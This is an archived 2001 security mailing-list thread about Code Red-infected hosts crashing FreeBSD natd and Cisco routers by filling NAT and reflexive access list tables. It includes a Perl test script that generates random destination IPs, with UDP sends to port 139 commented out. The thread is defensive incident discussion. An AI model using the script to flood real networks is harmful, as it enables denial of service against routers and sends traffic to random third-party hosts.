RE: FreeBSD NATd problems

[Mark Smith <Mark.Smith () au uu net>]

We also had an internal host infected, and it also caused one of our Cisco
routers to fail. However, we are running reflexive access lists, rather than
NAT.

The timeout on the reflexive access list was set to a day (ie. 84600
seconds), and eventually code red filled up all the memory in the router
with temporary access list entries. The router normally has about 22MB of
ram free, so it was taking a few hours for the router to crash. We realise
that the timeout in this case is probably a bit too high. The default value
for IOS 12.2 is 5 minutes, so as long as you generate enough packets within
5 minutes (and therefore enough reflexive entries) you could DOS the router.

I haven't looked into it thoroughly, however, I think the same thing would
happen Cisco's CBAC feature set.

Unfortunately Cisco don't seem to have implemented any sort of limiting
capability on the number of reflexive list entries there can be, nor have
they provided a command to specify the maximum allowable. The network that
got infected has about 200 hosts on it, so an upper limit of say 1000-2000
temporary reflexive entries (presuming the temporary ACL entries take about
600 bytes as they do in CBAC), would have only consumed 600 - 1200KB, and
should have quite reasonable for almost all typical access to the Internet.

The only way I can think of to avoid this type of DOS is to revert to
standard access lists.

Chris Donovan put together a perl script which generates UDP packets with
random IP destinations which can be used to test the effect.

----
#!/bin/perl -w
#
#
#
# Chris Donovan
# Chris.Donovan () au uu net
#
# Use for **TESTING** only
#


use strict;
use IO::Socket;


$main::count=0;
my ($temp, $oct1, $oct2, $oct3, $oct4, $toss, $sock, $ipaddr, $ack, $IP,
$port, $TIMEOUT);

while ($main::count <= 600**10) {
  $temp=rand(255);
  ($oct1, $toss)=split(/\./, $temp);
  $temp=rand(255);
  ($oct2, $toss)=split(/\./, $temp);
  $temp=rand(255);
  ($oct3, $toss)=split(/\./, $temp);
  $temp=rand(255);
  ($oct4, $toss)=split(/\./, $temp);
  $port="139";
  $ack="ack";

#######################################################
#
#  $IP="$oct1.$oct2.$oct3.$oct4";
#  $sock=IO::Socket::INET -> new(Proto => 'udp', PeerPort => $port, PeerAddr
=> $IP) || die "oops: $!\n";
#  $sock->send($ack) || print "\nwhoops that failed!!!\n\n";
#
#######################################################
  print "!";
  $main::count++;
}
print "\n";
----

Regards,
mark.

--
"The more you know, the more you realise what you don't know"

> -----Original Message-----
> From: Etienne Joubert [mailto:etienne () citec net]
> Sent: Tuesday, 14 August 2001 16:56
> To: incidents () securityfocus org
> Subject: RE: FreeBSD NATd problems
>
>
> We have experienced the same effects with 1600 cisco routers 
> servicing NAT.
> But with this one, some internal hosts were infected with the 
> codered worm
> (one server had a static route to a public ip)
> this caused the NAT translation tables to skyrocket and eventually the
> router would just freeze and needed a manual power cycle.
> I got packetloss/latency and interupted services without much 
> actual line
> utilization.
>
> > Just wondering if anyone else has experiance the following problem:
> >
> > I have a number of networks running with FreeBSD firewalls 
> providing a
> > nat service to a number of hosts behind the wall itself. 
> Both outgoing nat,
> > and port_redirection is provided.  THis has been running 
> stabily for over a
> > year.  However in the last 10 days I have had a number of these natd
> > mprocesses suddenly bloat ( looking at 48Megs upwards when 
> they normally
> sit
> > at around 700K-1Meg.  Ping times to the firewalls ( infact 
> any packets
> > passing through the natd process are delayed, it seems to 
> suffer a type of
> > exponential decay, with the highest delay I have recorded 
> being in the
> order
> > of 240 seconds!
>
> --------------------------------------------------------------
> --------------
> This list is provided by the SecurityFocus ARIS analyzer service.
> For more information on this free incident handling, management 
> and tracking system please see: http://aris.securityfocus.com

----------------------------------------------------------------------------
This list is provided by the SecurityFocus ARIS analyzer service.
For more information on this free incident handling, management 
and tracking system please see: http://aris.securityfocus.com